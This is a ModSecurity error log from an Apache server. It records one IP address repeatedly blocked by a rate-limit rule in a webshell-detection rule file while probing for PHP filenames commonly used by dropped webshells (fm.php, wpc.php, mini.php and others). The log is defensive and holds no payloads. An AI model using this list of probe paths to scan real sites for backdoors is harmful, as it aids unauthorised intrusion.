[Fri Dec 26 00:51:28.783203 2025] [:error] [pid 24864:tid 24925] [client 4.193.224.251:8581] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aU1rkMu59XOK5DpQQdCH0wAAAUU"]
[Fri Dec 26 00:51:29.003196 2025] [:error] [pid 24863:tid 24910] [client 4.193.224.251:8582] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aU1rkR8SaH2KMpp43vfe4AAAANE"]
[Fri Dec 26 00:51:29.205699 2025] [:error] [pid 24864:tid 24942] [client 4.193.224.251:8633] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aU1rkcu59XOK5DpQQdCH1QAAAVY"]
[Fri Dec 26 00:51:29.398240 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:8205] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aU1rkVfyLYxv3Jn9S70xewAAAEk"]
[Fri Dec 26 00:51:29.577500 2025] [:error] [pid 24864:tid 24920] [client 4.193.224.251:8915] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aU1rkcu59XOK5DpQQdCH1gAAAUA"]
[Fri Dec 26 00:51:29.759252 2025] [:error] [pid 24946:tid 24950] [client 4.193.224.251:8954] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aU1rkVfyLYxv3Jn9S70xfgAAAEI"]
[Fri Dec 26 00:51:29.938850 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:8215] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aU1rkbt-eeEEuo-2JKgivAAAAAE"]
[Fri Dec 26 00:51:30.129993 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:8628] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aU1rklfyLYxv3Jn9S70xgQAAAEo"]
[Fri Dec 26 00:51:30.336171 2025] [:error] [pid 24862:tid 24874] [client 4.193.224.251:8196] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aU1rkrt-eeEEuo-2JKgivQAAAAg"]
[Fri Dec 26 00:51:30.510611 2025] [:error] [pid 24863:tid 24895] [client 4.193.224.251:8218] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aU1rkh8SaH2KMpp43vfe5AAAAMI"]
[Fri Dec 26 00:51:30.689347 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8222] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aU1rkh8SaH2KMpp43vfe5QAAANg"]
[Fri Dec 26 00:51:30.864797 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8917] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aU1rksu59XOK5DpQQdCH3gAAAUg"]
[Fri Dec 26 00:51:31.083072 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:9053] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rk8u59XOK5DpQQdCH3wAAAUM"]
[Fri Dec 26 00:51:31.270085 2025] [:error] [pid 24862:tid 24879] [client 4.193.224.251:8912] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rk7t-eeEEuo-2JKgivwAAAA0"]
[Fri Dec 26 00:51:31.603522 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:8922] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rk7t-eeEEuo-2JKgiwAAAABQ"]
[Fri Dec 26 00:51:31.915639 2025] [:error] [pid 24863:tid 24904] [client 4.193.224.251:8576] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rkx8SaH2KMpp43vfe7AAAAMs"]
[Fri Dec 26 00:51:32.247779 2025] [:error] [pid 24863:tid 24900] [client 4.193.224.251:8927] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aU1rlB8SaH2KMpp43vfe8AAAAMc"]
[Fri Dec 26 00:51:32.488817 2025] [:error] [pid 24863:tid 24906] [client 4.193.224.251:9176] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aU1rlB8SaH2KMpp43vfe9AAAAM0"]
[Fri Dec 26 00:51:32.724811 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:8511] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aU1rlB8SaH2KMpp43vfe9wAAAMY"]
[Fri Dec 26 00:51:32.899028 2025] [:error] [pid 24864:tid 24925] [client 4.193.224.251:8616] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aU1rlMu59XOK5DpQQdCH4wAAAUU"]
[Fri Dec 26 00:51:33.130005 2025] [:error] [pid 24946:tid 24970] [client 4.193.224.251:8226] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aU1rlVfyLYxv3Jn9S70xhgAAAFY"]
[Fri Dec 26 00:51:33.314056 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8501] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aU1rlVfyLYxv3Jn9S70xhwAAAFI"]
[Fri Dec 26 00:51:33.504849 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8635] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aU1rlR8SaH2KMpp43vfe-wAAANg"]
[Fri Dec 26 00:51:33.734571 2025] [:error] [pid 24864:tid 24920] [client 4.193.224.251:8209] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aU1rlcu59XOK5DpQQdCH5gAAAUA"]
[Fri Dec 26 00:51:33.969524 2025] [:error] [pid 24863:tid 24916] [client 4.193.224.251:8201] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aU1rlR8SaH2KMpp43vfe_AAAANc"]
[Fri Dec 26 00:51:34.218165 2025] [:error] [pid 24864:tid 24941] [client 4.193.224.251:8634] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aU1rlsu59XOK5DpQQdCH5wAAAVU"]
[Fri Dec 26 00:51:34.423155 2025] [:error] [pid 24863:tid 24912] [client 4.193.224.251:8621] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aU1rlh8SaH2KMpp43vfe_gAAANM"]
[Fri Dec 26 00:51:34.601343 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8597] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aU1rlsu59XOK5DpQQdCH6QAAAVM"]
[Fri Dec 26 00:51:34.824659 2025] [:error] [pid 24863:tid 24905] [client 4.193.224.251:8255] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aU1rlh8SaH2KMpp43vffAAAAAMw"]
[Fri Dec 26 00:51:35.040917 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8612] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aU1rlx8SaH2KMpp43vffAQAAANY"]
[Fri Dec 26 00:51:35.288899 2025] [:error] [pid 24863:tid 24894] [client 4.193.224.251:8925] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aU1rlx8SaH2KMpp43vffAwAAAME"]
[Fri Dec 26 00:51:35.533456 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:8681] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aU1rl1fyLYxv3Jn9S70xjQAAAEY"]
[Fri Dec 26 00:51:35.782434 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:8619] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aU1rl1fyLYxv3Jn9S70xjgAAAEk"]
[Fri Dec 26 00:51:36.046429 2025] [:error] [pid 24946:tid 24950] [client 4.193.224.251:8590] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aU1rmFfyLYxv3Jn9S70xkQAAAEI"]
[Fri Dec 26 00:51:36.359716 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:9075] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aU1rmMu59XOK5DpQQdCH7wAAAUg"]
[Fri Dec 26 00:51:36.632748 2025] [:error] [pid 24946:tid 24953] [client 4.193.224.251:8684] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aU1rmFfyLYxv3Jn9S70xlQAAAEU"]
[Fri Dec 26 00:51:36.885334 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:8249] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aU1rmMu59XOK5DpQQdCH8AAAAUY"]
[Fri Dec 26 00:51:37.115303 2025] [:error] [pid 24864:tid 24944] [client 4.193.224.251:8240] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aU1rmcu59XOK5DpQQdCH8gAAAVg"]
[Fri Dec 26 00:51:37.340288 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8246] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aU1rmcu59XOK5DpQQdCH9gAAAUs"]
[Fri Dec 26 00:51:37.601605 2025] [:error] [pid 24864:tid 24922] [client 4.193.224.251:8617] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aU1rmcu59XOK5DpQQdCH-AAAAUI"]
[Fri Dec 26 00:51:37.843812 2025] [:error] [pid 24946:tid 24963] [client 4.193.224.251:8252] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aU1rmVfyLYxv3Jn9S70xlgAAAE8"]
[Fri Dec 26 00:51:38.090214 2025] [:error] [pid 24863:tid 24900] [client 4.193.224.251:8622] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aU1rmh8SaH2KMpp43vffBgAAAMc"]
[Fri Dec 26 00:51:38.344709 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:8195] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aU1rmsu59XOK5DpQQdCH-QAAAVE"]
[Fri Dec 26 00:51:38.610761 2025] [:error] [pid 24863:tid 24896] [client 4.193.224.251:8238] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aU1rmh8SaH2KMpp43vffCQAAAMM"]
[Fri Dec 26 00:51:38.860327 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8245] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aU1rmsu59XOK5DpQQdCH_AAAAVM"]
[Fri Dec 26 00:51:39.118749 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:8651] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aU1rm8u59XOK5DpQQdCH_gAAAU8"]
[Fri Dec 26 00:51:39.381500 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8652] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aU1rm8u59XOK5DpQQdCIAQAAAUw"]
[Fri Dec 26 00:51:39.603323 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8660] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aU1rm8u59XOK5DpQQdCIAgAAAUg"]
[Fri Dec 26 00:51:39.833811 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:8474] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1rm8u59XOK5DpQQdCIAwAAAU4"]
[Fri Dec 26 00:51:40.106295 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8615] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1rnFfyLYxv3Jn9S70xmAAAAFI"]
[Fri Dec 26 00:51:40.351412 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:8231] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1rnFfyLYxv3Jn9S70xmgAAAFM"]
[Fri Dec 26 00:51:40.576719 2025] [:error] [pid 24862:tid 24880] [client 4.193.224.251:8633] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1rnLt-eeEEuo-2JKgizAAAAA4"]
[Fri Dec 26 00:51:40.818098 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:8221] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aU1rnMu59XOK5DpQQdCIBgAAAUQ"]
[Fri Dec 26 00:51:41.024400 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8233] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aU1rncu59XOK5DpQQdCICAAAAUs"]
[Fri Dec 26 00:51:41.214231 2025] [:error] [pid 24862:tid 24879] [client 4.193.224.251:8854] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aU1rnbt-eeEEuo-2JKgi1AAAAA0"]
[Fri Dec 26 00:51:41.439911 2025] [:error] [pid 24862:tid 24884] [client 4.193.224.251:8641] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aU1rnbt-eeEEuo-2JKgi1wAAABI"]
[Fri Dec 26 00:51:41.659447 2025] [:error] [pid 24864:tid 24930] [client 4.193.224.251:8631] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aU1rncu59XOK5DpQQdCICgAAAUo"]
